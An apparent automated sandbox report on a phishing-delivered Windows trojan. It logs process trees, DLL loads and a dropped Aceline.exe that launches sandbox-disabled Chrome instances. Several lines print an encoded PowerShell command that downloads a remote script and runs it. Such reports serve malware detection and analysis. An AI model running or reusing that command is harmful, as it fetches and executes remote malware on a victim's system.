Classification label: mal100.phis.troj.spyw.expl.evad.win@50/221@78/29

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Code function: 14_2_00007FF7B53F70DA CoCreateInstance,

14_2_00007FF7B53F70DA

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe

File created: C:\Users\user\AppData\Local\Aceline.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Aceline.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7344:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Mutant created: \Sessions\1\BaseNamedObjects\db9b3e3581c04a088d96e6bcbbd527b6

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xfm2vfh5.bva.ps1

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Aceline.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,417186349821200926,11770351535666709543,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2068 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,417186349821200926,11770351535666709543,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3016 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://gogocharters.com/lexington-charter-bus"
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Aceline.exe "C:\Users\user\AppData\Local\Temp\Aceline.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Aceline.exe "C:\Users\user\AppData\Local\Aceline.exe"
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\user\AppData\Local\Temp\prqukw53.trh"
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\user\AppData\Local\Temp\fdgiw2ct.iws"
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\user\AppData\Local\Temp\kuhvxc0c.w1b"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,417186349821200926,11770351535666709543,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4948 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,417186349821200926,11770351535666709543,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2068 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,417186349821200926,11770351535666709543,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3016 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,417186349821200926,11770351535666709543,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4948 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Aceline.exe "C:\Users\user\AppData\Local\Temp\Aceline.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\user\AppData\Local\Temp\prqukw53.trh"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\user\AppData\Local\Temp\fdgiw2ct.iws"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\user\AppData\Local\Temp\kuhvxc0c.w1b"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\user\AppData\Local\Temp\fdgiw2ct.iws /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\user\AppData\Local\Temp\fdgiw2ct.iws\Crashpad --metrics-dir=C:\Users\user\AppData\Local\Temp\fdgiw2ct.iws --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=134.0.6998.36 --initial-client-data=0x10c,0x110,0x114,0xe4,0x118,0x7ff827d24f38,0x7ff827d24f44,0x7ff827d24f50	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\user\AppData\Local\Temp\kuhvxc0c.w1b /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\user\AppData\Local\Temp\kuhvxc0c.w1b\Crashpad --metrics-dir=C:\Users\user\AppData\Local\Temp\kuhvxc0c.w1b --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=134.0.6998.36 --initial-client-data=0x100,0x104,0x108,0xe8,0x10c,0x7ff827d24f38,0x7ff827d24f44,0x7ff827d24f50	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: mscoreei.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: clr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: clrjit.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: system.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: system.drawing.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: system.core.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: system.configuration.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: system.xml.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: system.net.http.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: system.windows.forms.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: webengine4.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: system.management.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: wminet_utils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: wmiutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: wbemprox.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: wbemsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aceline.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
